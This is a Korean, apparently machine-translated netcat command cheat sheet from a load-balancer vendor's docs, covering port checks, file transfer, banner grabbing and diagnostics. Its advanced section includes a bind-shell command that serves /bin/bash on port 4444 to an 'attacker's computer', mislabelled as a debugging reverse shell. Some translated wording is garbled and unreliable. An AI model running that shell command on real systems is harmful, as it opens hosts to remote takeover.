nc(Netcat) 명령어 요약

카테고리 보기

nc(Netcat) 명령어 요약

1 분 읽음

리눅스 nc (Netcat) 명령 #

리눅스 nc (Netcat) 명령어는 네트워크 통신, 디버깅 및 테스트에 사용되는 다재다능한 네트워킹 유틸리티입니다. 간단한 서버 또는 클라이언트 역할을 할 수 있으며, TCP 또는 UDP를 통해 데이터를 읽고 쓸 수 있습니다. 네트워킹의 "스위스 군용 칼"이라고 불리는 이 유틸리티는 nc 포트 스캐닝, 파일 전송, 네트워크 서비스 테스트와 같은 작업에 널리 사용됩니다.

주요 사용법 및 구문 nc Command #

의 기본 구문 nc 명령은 다음과 같습니다

nc [OPTIONS] [HOST] [PORT]

  • 옵션: 동작을 제어하는 ​​플래그 nc.
  • HOST: 연결을 위한 대상 호스트.
  • PORT: 대상 포트 번호.

nc 명령 치트시트 테이블 #

Command 기술설명
nc -zv example.com 80 포트 80이 켜져 있는지 테스트하세요 example.com 열려있습니다(자세한 모드).
nc -l 1234 포트 1234에서 리스너를 시작합니다.
nc example.com 80 포트 80에 연결하세요 example.com (예: HTTP 요청을 보내는 경우).
nc -u example.com 1234 UDP 포트 1234로 데이터를 보냅니다. example.com.
nc -l -p 8080 포트 8080에서 수신하는 서버를 시작합니다.
echo "Hello" | nc example.com 1234 메시지 보내기 Helloexample.com 포트 1234에서.

일반적인 사용 사례 #

1. 포트 스캐닝 #

nc -zv example.com 20-25

이 명령은 20~25번 포트를 스캔합니다. example.com 상태를 출력합니다.

2. 간단한 채팅 설정 #

두 시스템 간에 간단한 채팅을 설정하세요.

첫 번째 시스템에서: #

nc -l -p 1234

두 번째 시스템에서: #

nc HOSTNAME 1234

교체 HOSTNAME 첫 번째 시스템의 IP 주소와 함께.

3. 파일 전송 #

두 시스템 간에 파일을 전송하려면 다음을 사용하세요. nc:

보낸 사람 : #

cat file.txt | nc -q 0 HOSTNAME 1234

수신기 : #

nc -l -p 1234 > file.txt

4. 배너 그래빙 #

원격 서버에서 서비스 정보를 검색합니다.

nc example.com 80

타입 HEAD / HTTP/1.0 키를 누릅니다 Enter HTTP 헤더를 보려면 두 번 클릭합니다.

고급 사용법 #

UDP 연결 #

대상에 대한 UDP 연결 테스트:

nc -u example.com 1234

이는 UDP 포트 1234로 데이터를 전송합니다. example.com.

바인드 셸 #

디버깅을 위한 간단한 역방향 셸을 만듭니다.

원격 컴퓨터에서: #

nc -l -p 4444 -e /bin/bash

공격자의 컴퓨터에서: #

nc TARGET 4444

Netcat을 안전하게 사용하기 #

보안을 강화하려면 암호화 버전을 사용하세요. nc (예 : ncat (SSL 사용).

사용 nc 과 RELIANOID 솔루션 #

In RELIANOID의 네트워킹 인프라, nc 다양한 진단 및 운영 목적에 활용 가능:

1. 로드 밸런서 연결 테스트 #

nc -zv loadbalancer.realianoid.local 80

로드 밸런서가 포트 80에서 트래픽을 수용하는지 확인하세요.

2. 백엔드 서비스 모니터링 #

백엔드 서버의 상태를 빠르게 확인하세요.

nc -zv backend1.realianoid.local 8080

이는 백엔드 서비스가 포트 8080에서 접근 가능한지 확인합니다.

3. 프록시 서버 전달 검증 #

프록시 서버가 트래픽을 올바르게 전달하는지 테스트합니다.

nc proxy.realianoid.local 443

4. 사용자 정의 프로토콜 디버깅 #

nc 사용자 정의 프로토콜과의 상호 작용을 디버깅하거나 시뮬레이션하려면 RELIANOID의 환경입니다.

nc -l -p 5555

프로토콜 메시지를 테스트하기 위해 리스너를 설정합니다.

제품 개요 #

The nc (Netcat) 명령은 네트워크 전문가에게 필수적인 도구입니다. 포트 스캔, 파일 전송, 연결 디버깅 등의 기능을 갖추고 있어 다양한 애플리케이션에 이상적입니다. nc 과 RELIANOID 인프라는 견고한 네트워크 성능과 신속한 문제 해결을 보장하는 데 도움이 됩니다.

📄 이 문서를 PDF 형식으로 다운로드하세요 #

    이메일 : *

    BetterDocs 제공